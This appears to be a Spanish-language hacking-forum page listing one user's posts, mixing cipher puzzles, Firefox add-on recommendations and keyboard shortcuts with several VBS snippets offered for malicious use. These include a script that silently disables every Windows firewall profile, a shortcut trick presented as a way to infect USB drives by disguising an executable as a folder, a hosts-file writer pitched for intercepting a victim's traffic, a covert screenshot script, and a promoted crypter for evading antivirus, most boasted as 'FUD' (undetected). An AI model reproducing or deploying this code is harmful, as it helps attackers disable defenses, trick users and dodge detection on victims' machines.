Temas - 79137913 - Página 2

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 79137913

Páginas 1 2 3

#41

Wargames y retos / OculTEXT - Micro wargame solo texto, lapiz y papel!

Junio 27, 2016, 01:16:26 PM

HOLA!!!

Bienvenidos a mi nuevo reto OculTEXT, un desafio que podes resolver solo con lapiz y papel, aunque por eso no creas que sera facil... Muajajajaj!

Dejo los primeros 5 niveles a ver si los sacan, en caso que los resuelvan posteo mas!

Nivel 1:
Pista: -FIBONACCI-

Código: text

CLAUVICEDENASIVOLTIXERARTIMPILAFAGARIANIMPOLITYRENTISAULYASWEDFCDSQWRFTGOLKIGYGJUHYKIPAARAAEEIUMYNABBGHJDFTGHNBVFDCZAWQFRTYUIKJHNBOIUYHVCGEDSADARELFIN

Nivel 2:
Pista: -CORNER, RDRDDLLDDRRUDRRU-

Código: text

SEANT
ARPIX
LEIJA
TNEFO
EVESA
VENOS

Nivel 3:
Pista: -CLASICO-

Código: text

Ira del cielo, amor, fueron tus tiros:
Sobre el que adora un imposible objeto:
Arde y su fuego, que ocultó el respeto,
Bramando exhala en rápidos suspiros.
En vano ablandan bronces y porfiros
Lágrimas de dolor. ¡Cruel Aleto!
Dura suerte! No muda un solo afeto,
En tanto el hombre cambia en raudos giros.
Bárbaro amor, concede una esperanza,
O que á olvidar me mueva su desprecio:
Rompe, sino, los lazos de la vida:
Baste ya lo sufrido á tu venganza
Oh! no escuches, amor, ni ruego necio:
No: ingrata sea: nunca aborrecida.

Nivel 4:
Pista: -NUMERO AUREO, INICIO DE SOLUCION "TAR"-

Código: text

SAYCMZXIHEOXFZHZKPHLJTRFFMNCHUQBKAAOCAAGZUPHUKITTSHTUUP
OXTFCLSCFFURWJHUWVWGJIWQYQICVCULDUTBQXIMQZRZPDIVONRRITA
OVPPVFCVJRRHTWWUITDRJXEFUBOKOEHSHMBTQHWFUGVETKGXMIWORUI
HFTOFGRGHEDKNAJEQMPTFYEWRQZSMBKWUYVEBTEMWYJDVIRSGOEMMKS
UWDRWWQVKGLPZODNFPGDUSITDVGENOVHJHBGAZRMDGZNCDKIBLSTOWB
NGYABIOBICQCRBQRJDJGANJHKSRZGESDXPNJWUAIJVKBRFWURPYPAJW
GQDIOLCBEPOWKSIQHDLULIWVYPZEYOUNTIBTSRPJPNJIERNPGYIYMPE
SWCPAAIEQSHEGJBMJLNRGKXLSFTEPQMJWCAZACVEZXXGOCRIFMPEZWN
DASLAJQOYSDQPPSIHVRYIZTBYAMFFIYZHMJXCICBTVPOCCGYFDMKPIM
KUZZJBGKSYFEXGCRKQZPTODYGOFOPZSBTLJFQABIBUAAYLSYNYHFOOV
AQQCTJUPSIPXBGNBILOYJZHNGUXTMUYUDRKPKDVNVWCUTEFYGDWGZFX
PFBNNJMKFXBPDUFFOMUUMHPUONXICNENGFRXFACEIERIFFKMBKFCOXT
FIQKVCPLLESCSXQAOYCBWBYVPLNITSGZIWERNPBKELJGIYFEZRWFAVO
SZNHJIDHFPLFATHJOURJGZZOWVUXQLBTANHCJLIIQIIRRSMZWSEFKTY
JPQUUAAUGDCWNUYBLMTCYHPMGEAEOCNEGRVMBLLTHYGNSYUWEFEYAWR
FMDGGLATHHKCALZTGXQKLFTBIPQOCDOMJBUFULESRELLCNSOCVZBJPB
JOWWXGJWVQQDHDLANTBIQGWCLDMGRUOXGVJEPFGCSFIAZBSQIFTUKDT
PBFQALKHHQYUMDGNZCDFWXSUANVEIPJDYKLGPXDCPUNOEJOOBZEYBCS
IWJFJGLHOYPCTOWUYLGJGMMIKOQTELZETGIJEUSHLARBYELGULQDZJZ
IAMLDKPQKYFAAYZQDQYRFNXBYWCQTAJHXFGMKGSBMSXZOCIACVEYYWV
LBMKZFFXWZFBCXVOIOMVIOERHPLFHMDIKTNOVRTTPFPMGEICWFGSWFR
DNQGFPRNLLIZHALRWEKZKAABLSDFQZMPXLDLANTTOHVHBVPLHDFOMXR
YMWSTPLRHLDRIEBCZCRYKWXKCBOECBPEBRFDMGIBBBJSJCRYGSPWBGT
BBJNTFHRUJXDXKILUOPBNFZAEZYYWKMWSOOBKSUTMAAYRYAIGMAAXTL
ZSKXXERFKUYYAFXCEJBHENOBJBRNFVBCXNNXWYUXKAACPRHCHPOWZAC
BOVJCJQLTHDCRVWPBMPNDGGLMHGIEZSBCEEFPELVDIBLXGUAZIHTWMR
MTJPLDPSPSRVCKEQYLZMUDDCHJGDTONELEEUGMFAPSZFIBCEHTYODKM
MJDGLYRZOSXMCTYYEGDUJVVDBLWVUXVDJLNRSXPDBIMZWZAKHXNOTUH
EZNCKIDRAMVWKIMUUBMOQEVVKLWDFFKJGUFEJDGHERVDEPFDVUTDLOX
XBCULGEZTHIANDHNZGCEBEIUKZGOKPBZOKSJMSCSHZSWDTDQDLXXBJC
ACUEOKYOGBWELTGEOATEHWHDOWFGRLYQMXMSPMTEASIQVVQKKRDNSRP
BUVMJMKTTRECOUZLVBQJAAHHTFAFXTGJLUGINHLOVOVFIPOECAMJJOJ
PHAIARKIUAYPZDWSCXEHZRNTNDDDPOYLGTZTRIJKVZSVIHWROWRJFUL
TTPYEWFNUANSFACPWZCXEKQCIINPXZKJGIYWCMWCUJJOZKXJLUSJRER

Nivel 5:
Pista: -POLIBIO-

Código: text

42154411143442141544244411331543

Notas:
El orden de los niveles no es importante ni indica nivel de dificultad.
No se necesita saber un nivel para resolver otro
Cuando se llegue a 5 respuestas correctas de un nivel, publicare la respuesta.
El dia Domingo 3 de julio publicare todas las soluciones.
Envien sus respuestas por PM asi no quitan la diversion a otros.

Usuarios que resolvieron el reto:
Nivel 1:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Nivel 2:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Nivel 3:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Luego de publicacion de la solucion:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Nivel 4:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Nivel 5:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Luego de publicacion de la solucion:
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#42

Hacking / Complementos Firefox recomendados por 79137913

Junio 21, 2016, 12:42:33 PM

HOLA!!!

Se me dio por hacer este post para que los usuarios de Firefox puedan tener un navegador completo y potente gracias a sus mejores ADD-ONs / Complementos.

Aqui una lista de los que utilizo:

Edit any page:

Muestra un iconito de una PC en tu barra de menú (o donde lo coloques por personalizar), ejecuta Javascript para activar designMode (editar tipo word cualquier pagina de internet [modo local obvio]).
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

FireFTP:

FireFTP es un cliente FTP para Mozilla Firefox gratuito, seguro y multiplataforma que proporciona un acceso fá¡cil e intuitivo a los servidores FTP.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

FireSSH:

FireSSH es un cliente SSH completo, multiplataforma y gratis para Mozilla Firefox. Escrito 100% en Javascript!
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

iMacros for Firefox:

Automatizar Firefox. Grabar y reproducir las tareas repetitivas. Si estás cansado de visitar los mismos sitios, llenar formularios, descargas de archivos y la extracción de datos, entonces iMacros es para usted! Ahorrar tiempo y dinero con iMacros!
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Stylish:

Permite personalizar la apariencia de cualquier página y la interfaz de usuario de firefox. Hay miles de estilos para miles de paginas, por ejemplo un clasico DarkGoogle [un google con fondo negro]
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

X-notifier:

Notifica nuevos mensajes en gmail, yahoo, hotmail, aol y muchos otros webmails.
X-notifier revisa tus cuentas de correo y te notifica cuantos mails tenes sin leer...
Soporta : gmail, yahoo, hotmail, POP3/IMAP, facebook, twitter y más.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Live HTTP Headers:

Mira los headers HTTP de una pagina mientras navegas.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Firebug:

Firebug se integra con Firefox para poner herramientas de desarrollador de otro nivel con la capacidad de editar, debugguear y monitorear CSS, HTML, JS en cualquier pagina, en vivo!
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Omnibar:

Junta la barra de direcciones con la barra de busqueda en una sola de punta a punta del navegador. Muestra sugerencias de busqueda. Segun las palabras clave que uses cambia de Motor de busqueda segun tus preferencias.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Fire IE:

Alguna vez tuviste que abrir el IExplore por que una web solo era compatible con él? Nunca mas! ahora con Fire IE podras integrar IE a tu pestaña de Firefox manteniendo cookies y demas con un solo click (o configura la url para que sea automatico).
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

MinimizeToTray revived:

Minimiza (o cierra) FF a el area de notificacion, una gran herramienta para que no ocupe espacio en la barra inferior.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

uBlock Origin:

AdBlock es muy lento no lo elijas mas, con uBlock tenes las mismas prestaciones que con adblock pero con un consumo de recursos super reducido. Que mejor, tranquilidad y velocidad!
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Classic Theme Restorer:

Extrañas las pestañas cuadradas, el menu de aplicacion (archivo, editar, etc), la barra de complementos, la opcion de botones pequeños y mas opciones 'viejas' de FF< 30 aqui las podes habilitar todas!
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

NoScript:

Protección extra para su Firefox: NoScript sólo permite JavaScript, Java y otros plugins en los sitios web de confianza que Ud. elija (como la web de su banco). Este planteamiento preventivo basado en una lista blanca evita que se puedan explotar vulnerabilidades (conocidas o incluso desconocidas) sin pérdida de funcionalidad... Los expertos lo confirmarán: Firefox es realmente más seguro con NoScript :-)
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

DownThemAll!:

El primer y único administrador-acelerador de descargas integrado dentro de Firefox
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#43

Cursos, manuales y libros / [APORTE] Atajos útiles

Abril 21, 2016, 03:57:36 PM

HOLA!!!

Atajos de teclado

La tecla Windows
Tecla Windows : Abre el menu de inicio
Tecla Windows + D (de Desktop): Acceder directamente al escritorio
Tecla Windows + E (de Explorer) : Abre la ventana de MI PC
Tecla Windows + F (de Find).: Abre la ventana de busqueda
Tecla Windows + F1 : Abre la ventana de ayuda
Tecla Windows + L (de Login) : Regresas a la pantalla de Bienvenida, para cambiar de usuario
Tecla Windows + R (de Run) : Abre la ventana del cuadro Ejecutar
Tecla Windows + M : Minimiza todas las ventanas de tengas abiertas
Tecla Windows + Boton arriba + M : Restablece todas las ventanas que tengas minimizadas
Tecla Windows + U (de Utilities). Hace aparecer las utilidades de accesibilidad (a partir de Windows 2000).
Tecla Windows + Pausa Inter : Abre las propiedades del sistema
Tecla Windows + Pausa. Hace aparecer el menú de Propiedades del Sistema.

Atajos de teclado en Windows y Linux
La tecla ALT
Ésta tecla es aún más misteriosa que la de Windows para el usuario novel. Lo bueno que tienen los métodos de ALT es que son comunes (o deberían serlo) a todos los sistemas operativos para PC con entorno gráfico: los he probado en la totalidad de los Windows y varios derivados de UNIX y, con sus particularidades, funcionan siempre y de manera parecida.
- ALT + tabulador. Imprescindible: con ella iremos cambiando de programas sin necesidad de estar pulsando con el ratón en la barra de tareas. En Windows, algo similar –aunque a mi juicio más incómodo– se consigue con Windows + tabulador y la tecla ENTER.
NOTA: El tabulador es la tecla que está a la izquierda de la 'Q'.
- ALT + F4. Cierra la ventana (finaliza el programa) actualmente activa. Si no hay ninguna en esta situación o todos los programas han sido cerrados, muestra el menú de apagado/reinicio del sistema
[Métodos más avanzados]
- ALT + barra espaciadora. Esta combinación accede al menú de manejo de la ventana activa: maximizar, restaurar, minimizar, mover y cambiar su tamaño. Esta última acción es quizá la menos sencilla de realizar con el teclado, pero es muy útil en esos casos en los que una ventana es tan enorme (eso lo suelen hacer las webs mamonas anteriormente mencionadas) que no podemos moverla ni modificar sus dimensiones: tras pulsar Alt + Barra y seleccionar "tamaño", tendremos que seleccionar una de las 8 direcciones posibles con los cursores, valen también combinaciones como "arriba-derecha". El cursor se trasladará al borde escogido de la ventana y podremos modificar su tamaño. Una vez establecido a nuestro gusto, una pulsación de ENTER nos devolverá el control normal del programa.
- ALT a secas. Pulsar la tecla de modo individual nos dará control sobre la barra de menúes del programa (la que suele contener los "Archivo", "Edición", "Ayuda", etc). Con ayuda de las teclas de cursor podremos movernos por dichos menúes con facilidad, seleccionando con ENTER. Uno o dos toques de ESC nos permitirán salir de esta situación.
- ALT + letra subrayada. Si echamos un vistazo a muchos de los títulos de menúes, botones y demás, observaremos que tienen subrayada una de sus letras. ¿Esto para que sirve? Ni más ni menos que para acceder de forma directa a dichas funciones: pulsad ALT más cualquier letra subrayada que veáis y podréis comprobarlo. NOTA: Según como tengamos configurado Windows, puede que las letras subrayadas de la barra de menúes no aparezcan hasta que pulsemos ALT a secas.
- ALT + ENTER. Si tenemos seleccionado un archivo en el Explorador, este atajo hace aparecer sus propiedades. Y como curiosidad, en el Windows Media Player esta misma combinación nos permite intercambiar entre el modo normal y el modo de pantalla completa.

La tecla Control
Aparte de las combinaciones que ya conoce o debería conocer todo el mundo...
- CONTROL + X: Cortar
- CONTROL + C: Copiar
- CONTROL + V: Pegar
- CONTROL + Z: Deshacer (undo)
- CONTROL + Y: Rehacer, aunque en algunos programas es MAYUS + CONTROL + Z.
- CONTROL + P: Imprimir.
- CONTROL + S: Guardar archivo.
- CONTROL + O: Abrir archivo.
- CONTROL + F: Buscar texto, aunque algún soplagaitas ha "traducido" ese atajo en algunos programas como el Bloc de Notas, conviertiéndose en CONTROL + B en las versiones en castellano.
- CONTROL + A / CONTROL + E: Seleccionar todo. Otra de las absurdas consecuencias del fenómeno anterior: como en los programas traducidos abrir un archivo es CONTROL+A y, normalmente, es la combinación asignada a "seleccionar todo", en estos casos esta última se cambia a CONTROL + E. Un lío, vamos.
Aparte, cada programa tiene sus propias combinaciones, mereciendo la pena aprenderse las que usemos más frecuentemente. En los más potentes, se pueden personalizar y/o asociar a "macros" que automaticen tareas complejas y repetitivas.

El tabulador y la barra espaciadora
En cuadros de diálogo, alertas, menúes y similares, la tecla ENTER equivale al botón Aceptar/OK, mientras que ESC se corresponde con Cancelar/Cancel. ¿Cómo pulsar otros botones con el teclado? Se puede hacer de dos maneras: bien con ALT más su letra subrayada, bien seleccionándolo y pulsando la barra espaciadora. La barra también sirve para activar casillitas cuadradas (las que contienen una pequeña 'V').
Y se me olvidaba: para moverse por los distintos apartados de un menú o cuadro de diálogo, hay que usar el tabulador, que nos permitirá trasladarnos generalmente de arriba a abajo y de izquierda a derecha. Para moverse en el sentido contrario, bastará con usar MAYUS más el mismo tabulador.
¿Y si queremos cambiar de pestañas, en el caso de existir? Podemos hacerlo con CONTROL + Tabulador (sentido normal) o MAYUS + CONTROL + Tabulador (sentido inverso). Un buen lugar para ensayar todo esto es el menú de propiedades de pantalla (Inicio | Configuración | Panel de Control | Pantalla).
La combinación CONTROL + Tabulador (o su inversa con MAYUS) también nos permitirá cambiar entre ventanas, en esos programas que las contienen en su interior, como Microsoft Word, Abobe Photoshop o el navegador Opera (llamados técnicamente MDI, Multiple Document Interface). De hecho, es la función equivalente a ALT + tabulador, pero con ventanas internas. Y de la misma manera, CONTROL + F4 cerrará cada una de estas subventanas.

Las teclas de Función (F-)
Desde la aparición de los entornos gráficos, su utilidad ha quedado reducida a un segundo plano: aún muchos recordamos esas plantillas de papel con la chuleta que contenía las funciones del WordPerfect para MS-DOS.
Pese a todo, aún tienen algunas tareas útiles. Aparte de las particulares de cada aplicación (imprescindible el F12 en el navegador Opera, por ejemplo) y de las que ya hemos visto de F10 y F4, tenemos tres reseñables:
- F1. Con ella accederemos a la ayuda correspondiente al programa activo.
- F2. Con un archivo seleccionado, nos permitirá cambiarle el nombre. Esto funciona tanto en el Explorador de Windows como en algún otro programa (el Nero, por ejemplo).
- F3. Accedemos a la búsqueda de archivos. La ventaja que tiene sobre la combinación Windows + F es que, si previamente nos hemos trasladado a una determinada carpeta con el Explorador de Windows, pulsar F3 nos permitirá restringir la búsqueda a esa carpeta y a sus subcarpetas (Windows + F busca de forma predeterminada en todos los discos duros locales).
Casi como anécdotas (por su escasa utilidad), se puede apuntar que F5 es equivalente a "actualizar" y que F10 (a secas) "enfoca" la barra de menúes, de la misma manera que la tecla ALT.
Estos atajos de teclado funcionan bajo Windows, estos atajos de teclado son útiles cuando solo cuentas con un teclado y no tienes un mouse a la mano.

Sobre contenido de texto
Atajos de Teclado básicos
CTRL + C (Copiar)
CTRL + X (Cortar)
CTRL + V (Pegar)
CTRL + Z (Deshacer)
SUPR (Eliminar)
MAYÚS + SUPR (Eliminar el elemento seleccionado permanentemente sin enviarlo a la Papelera de reciclaje)
CTRL mientras arrastra un elemento (Copiar el elemento seleccionado)
CTRL + MAYÚS mientras arrastra un elemento (Crear un acceso directo al elemento seleccionado)
Tecla F2 (Cambie el nombre del elemento seleccionado)
CTRL + FLECHA DERECHA (Mover el punto de inserción al principio de la siguiente palabra)
CTRL + FLECHA IZQUIERDA (Mover el punto de inserción al principio de la palabra anterior)
CTRL + FLECHA ABAJO (Mover el punto de inserción al principio del párrafo siguiente)
CTRL + FLECHA ARRIBA (Mover el punto de inserción al principio del párrafo anterior)
CTRL + MAYÚS con cualquiera de las teclas de dirección (Resaltar un bloque de texto)
MAYÚS con cualquiera de las teclas de dirección (Seleccionar más de un artículo en una ventana o en el escritorio, o seleccionar texto en un documento)
CTRL + A (Seleccionar todos)
Tecla F3 (Buscar un archivo o una carpeta)
ALT + ENTER (Ver las propiedades del elemento seleccionado)
ALT + F4 (Cerrar el elemento activo, o salir del programa activo)
ALT + ENTER (Mostrar las propiedades del objeto seleccionado)
ALT + BARRA ESPACIADORA (Abrir el menú de la ventana activa)
CTRL + F4 (Cierra el documento activo en programas que le permiten tener varios documentos abiertos simultáneamente)
ALT + TAB (Cambiar entre los temas abiertos)
ALT + ESC (Ciclo de los artículos que en el orden en que se había abierto)
Tecla F6 (ciclo a través de los elementos de la pantalla en una ventana o en el escritorio)
Tecla F4 (Mostrar lista de la barra de direcciones en Mi PC o el Explorador de Windows)
MAYÚS + F10 (Mostrar el menú contextual del elemento seleccionado)
ALT + BARRA ESPACIADORA (Mostrar el menú Sistema de la ventana activa)
CTRL + ESC (Mostrar el menú Inicio)
ALT + letra subrayada en un nombre de menú (Mostrar el menú correspondiente)
Letra subrayada en el nombre de un comando en un menú abierto (Realizar el comando correspondiente)
Tecla F10 (Activar la barra de menús en el programa activo)
FLECHA DERECHA (Abra el siguiente menú a la derecha, o abrir un submenú)
Flecha izquierda (Abra el siguiente menú a la izquierda, o cerrar un submenú)
Tecla F5 (Actualizar la ventana activa)
Tecla Retroceso (Ver la carpeta un nivel en Mi PC o el Explorador de Windows)
ESC (Cancelar la tarea actual)
MAYÚS al insertar un CD-ROM en la unidad de CD-ROM (Impedir la unidad de CD-ROM de forma automática la reproducción).

Windows
Atajos de teclado para Cuadros de diálogo
CTRL + TAB (Avanzar a través de las pestañas)
CTRL + SHIFT + TAB (Mover hacia atrás a través de las pestañas)
TAB (Avanzar por las opciones)
SHIFT + TAB (Mover hacia atrás por las opciones)
ALT + letra subrayada (Realizar el comando correspondiente o seleccionar la opción correspondiente)
ENTER (Realizar el comando de la opción activa o botón)
BARRA ESPACIADORA (Seleccione o desactive la casilla de verificación si la opción activa es una casilla de verificación)
Teclas de dirección (Seleccionar un botón si la opción activa es un grupo de botones de opción)
Tecla F1 (Mostrar Ayuda)
Tecla F4 (Mostrar los elementos de la lista activa)
Tecla Retroceso (Abrir una carpeta de un nivel si una carpeta se selecciona Guardar como en el cuadro de diálogo Abrir)

Atajos de teclado en Windows y Linux
Atajos de teclado de accesibilidad
SHIFT derecho durante ocho segundos (Switch FilterKeys encendido o apagado)
ALT + SHIFT + IMPR PANT (Switch de alto contraste encendido o apagado)
ALT + SHIFT + BLOQ NUM (Switch MouseKeys el encendido o apagado)
MAYÚS cinco veces (Switch StickyKeys el encendido o apagado)
BLOQ NUM cinco segundos (Switch ToggleKeys el encendido o apagado)
Logotipo de Windows + U (Abre el Administrador de utilidades)

Atajos de teclado para el Explorador de Windows
FIN (Mostrar la parte inferior de la ventana activa)
INICIO (Mostrar la parte superior de la ventana activa)
BLOQ NUM + signo asterisco (Mostrar todas las subcarpetas que están en la carpeta seleccionada)
BLOQ NUM + Signo más (+) (Mostrar el contenido de la carpeta seleccionada)
BLOQ NUM + signo menos (-) (Contraer la carpeta seleccionada)
FLECHA IZQUIERDA (Contraer la selección actual si es ampliado, o seleccionar la carpeta principal)
FLECHA DERECHA (Mostrar la selección actual si está colapsado, o seleccionar la primera subcarpeta)

Atajos de teclado en Linux
ALT+TAB – Cambiar de ventana/aplicación.
CRTL+F1,F2..Fx – Cambiar entre consolas.
ALT+F1 – Menú principal.
MAY+F10 – Menú contextual.
ALT+F2 – Ejecutar aplicación.
ALT+F4 o CRTL+W – Cerrar venta.
CRTL+ALT+SUP – Díalogo cerrar/salir sesión.
CRTL+ALT+BACKSPACE – Cerrar sesión.
CTRL+ALT+D – Minimizar todas las ventanas.
ALT+F5 – Desmaximizar una ventana.
IMPR PANT – Capturar en una imagen todo el escritorio.
ALT+IMPR PANT – Capturar en una imagen la ventan activa.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#44

Otros lenguajes Scripting / [VBS] ScreenShot Proof Of Concept.

Febrero 25, 2016, 01:07:17 PM

HOLA!!!

Antes que nada aclaro que esto es un proof of concept.

Ya que se ve en la pc cuando el programa captura la pantalla.

Código: vb

    'HECHO POR 79137913
    'FUNCIONA SOLO SI LA PC POSEE FIREFOX (CREO QUE TAMBIEN SE PODRIA HACER CON CHROME CAMBIANDO LA LINEA DONDE DICE "FIREFOX.EXE" POR "CHROME.EXE")
     
    Call ScreenShot("C:\Users\user\Desktop\web.html","C:\Users\user\Desktop\a.html")
     
    Function ScreenShot(WebUrl, Output)
        With CreateObject("Word.Basic")
            .SendKeys "{1068}"
        End With
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objFile = objFSO.CreateTextFile(WebUrl, True)
        objFile.Write "<script>function handlepaste () {myimage = ImageGrab.grabclipboard();}</script><body onload='handlepaste()'></body><div id='div' contenteditable='true' onpaste='handlepaste()'>Paste</div>" & vbCrLf
        objFile.Close
        On Error Resume Next
            CreateObject("Scripting.FileSystemObject").DeleteFile "c:\a.html"
        On Error GoTo 0
        Set wshshell = wscript.CreateObject("WScript.Shell")
        'antes de aca se podria poner una instruccion para que cerrara el proceso del Firefox
            wshshell.run "firefox.exe -Height 1 -Width 1 " & WebUrl 'Abre firefox en tamaño 1x1
                wscript.sleep 2000
            wshshell.SendKeys ("{TAB}") 'entra a la web
                wscript.sleep 300
            wshshell.SendKeys ("+{INSERT}") 'pega el screenshot
                wscript.sleep 1000
            wshshell.SendKeys ("^s") 'guarda la pagina
                wscript.sleep 100
            wshshell.SendKeys (Output) 'pone el path
                wscript.sleep 500
            wshshell.SendKeys ("{ENTER}") 'confirma el guardado
            wshshell.SendKeys ("{ENTER}") 'confirma el guardado
        'aca se podria matar a la ventana del firefox abierta para no dejar rastos.
    End Function

En los path de ScreenShot en caso que de acceso denegado pongan un path como Escritorio o mis documentos.

El screenshot sera guardado en a.html

GRACIAS POR LEER!!!

#45

Otros lenguajes Scripting / [VBS] Disable Firewall

Enero 06, 2016, 02:52:10 PM

HOLA!!!

Con este pequeño codigo si el script es ejecutado por un Administrador se deshabilitara el firewall por completo.

Código: vb


Set Firewall = CreateObject("HNetCfg.FwPolicy2")
Firewall.FirewallEnabled(1) = FALSE
Firewall.FirewallEnabled(2) = FALSE
Firewall.FirewallEnabled(4) = FALSE

Y como siempre FUD

GRACIAS POR LEER!!!

#46

Otros lenguajes Scripting / Herramientas para facilitar la programacion de scripting.

Enero 04, 2016, 10:42:41 AM

HOLA!!!

Recopilatorio de Herramientas

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#47

Otros lenguajes Scripting / [TOOL] VBSEdit IDE para editar VBS.

Enero 04, 2016, 10:40:10 AM

HOLA!!!

Una imagen vale mas que mil palabras.

Yo personalmente utilizo el block de notas pero este ide es muy practico.

Pagina oficial: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#48

Otros lenguajes Scripting / [TOOL] Cactus VBS Crypter by MadAntrax

Enero 04, 2016, 10:36:33 AM

HOLA!!!

Si tu codigo en VBS esta siendo detectado no dudes en utilizar esta herramienta que con seguridad mejorara tu nivel de indeteccion.

Esta tool fue desarrollada por MadAntrax, No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

Es una pequeña tool (sencilla) que cifra cualquier fichero VBS para ofuscar su código y evitar la detección por firmas de los AntiVirus. Permite dejar un fichero completamente FUD (Full Undetected).

El funcionamiento es muy sencillo, seleccionamos un fichero VBS, la cifrado deseada y pulsamos el botón "Encrypt VBS".

DESCARGA: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#49

Otros lenguajes Scripting / Solicitud de snippets.

Enero 04, 2016, 10:20:45 AM

HOLA!!!

Este post es para que ustedes pidan cualquier tipo de sinippet en cualquier lenguaje de scripting, vbs, powershell, autoit, etc.

Solo respondan con el lenguaje en el que quieren el codigo y que codigo necesitan.

Saludos.

GRACIAS POR LEER!!!

#50

Otros lenguajes Scripting / [VBS] Saber si hay conexión a internet.

Enero 04, 2016, 09:55:57 AM

HOLA!!!

Este codigo en si no es malintencionado pero nos ahorra muchos errores en caso que nuestros scripts se ejecuten en una pc sin internet.

Código: vb

Set objShell = wscript.CreateObject("WScript.Shell")
'EJECUTAMOS Y OBTENEMOS EL ESTADO DE ERROR DE PING
PINGFlag = Not CBool(objShell.run("ping -n 1 google.com",0,True))
If PINGFlag = True Then
    'ACA CONTINUAMOS CON EL CODIGO
Else
    MsgBox "Google.com no responde el Ping", vbExclamation + vbOKOnly, "No hay coneccion a internet"
    wscript.quit
End If

GRACIAS POR LEER!!!

#51

Otros lenguajes Scripting / [VBS] Crear link y cambiarle el icono.

Enero 04, 2016, 09:47:29 AM

HOLA!!!

Tecnica muy utilizada para infectar memorias flash este codigo permitira crear un link desde un path determinado y cambiarle el icono.

Se puede utilizar para que el usuario ejecute un ejecutable pensando que es una carpeta por ejemplo.

Codigo 1:

Código: vb

'CREAR ACCESO DIRECTO:
Set objShell = WScript.CreateObject("WScript.Shell")
Set link= objShell.CreateShortcut("C:\ArchivoMalicioso.lnk")
link.TargetPath = "C:\Ejecutable.exe"
link.Description = "Archivo malicioso"
link.Save

Codigo 2:

Código: vb


'CAMBIAR ICONO DE UN ACCESO DIRECTO

Const DESKTOP = &H10&

Set objShell = CreateObject("Shell.Application")

'SELECCIONAMOS LA CARPETA
Set objFolder = objShell.NameSpace("c:\")
'SELECCIONAMOS EL ARCHIVO DE ACCESO DIRECTO
Set objFolderItem = objFolder.ParseName("ArchivoMalicioso.lnk")
Set objShortcut = objFolderItem.GetLink

'ELEGIMOS EL ICONO 13 DE SHELL32.DLL
objShortcut.SetIconLocation "C:\Windows\System32\SHELL32.dll", 13
objShortcut.Save

Bueno en cuanto a como elegir el icono utilizamos el archivo shell32.dll el icono 13, para saber que icono es el 13 o el numero que querramos abrimos el explorador de iconos y contamos de la siguiente manera:

Como veran el icono elegido es el que tiene fondo azul. (el que esta seleccionado en la imagen).

Este codigo es FUD.

GRACIAS POR LEER!!!

#52

Otros lenguajes Scripting / [VBS] Escribir linea en archivo de Hosts.

Enero 04, 2016, 09:29:28 AM

HOLA!!!

En este ejemplo se muestra como escribir una linea en el archivo de hosts, lo cual puede ser muy practico ya que con esto podemos interceptar datos a distancia sin infectar directamente la pc victima.

Código: vb

Dim objFileSystem, objOutputFile

On Error Resume next

Set objFileSystem = CreateObject("Scripting.fileSystemObject")
Set objOutputFile = objFileSystem.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts", 8)

objOutputFile.WriteLine VbCrLf & "127.0.0.1 asd #asd"
objOutputFile.Close

Y obviamente FUD.

GRACIAS POR LEER!!!

#53

Off Topic / [JUEGO] VIDA : Mantene viva tu Civilizacion de bichitos.

Agosto 21, 2015, 02:26:15 PM

HOLA!!!

[doble post post original No tienes permitido ver enlaces. Registrate o Entra a tu cuenta]

Este juego lo arme en aprox 4hs, me encanto la idea, muy entretenido y depende de la estrategia que uses ganaras o perderas.

El juego consiste en lo siguiente:
(una imagen antes XD)

Tenes 3 acciones posibles:
Sembrar pasto, este sera el alimento de nuestros bichos.
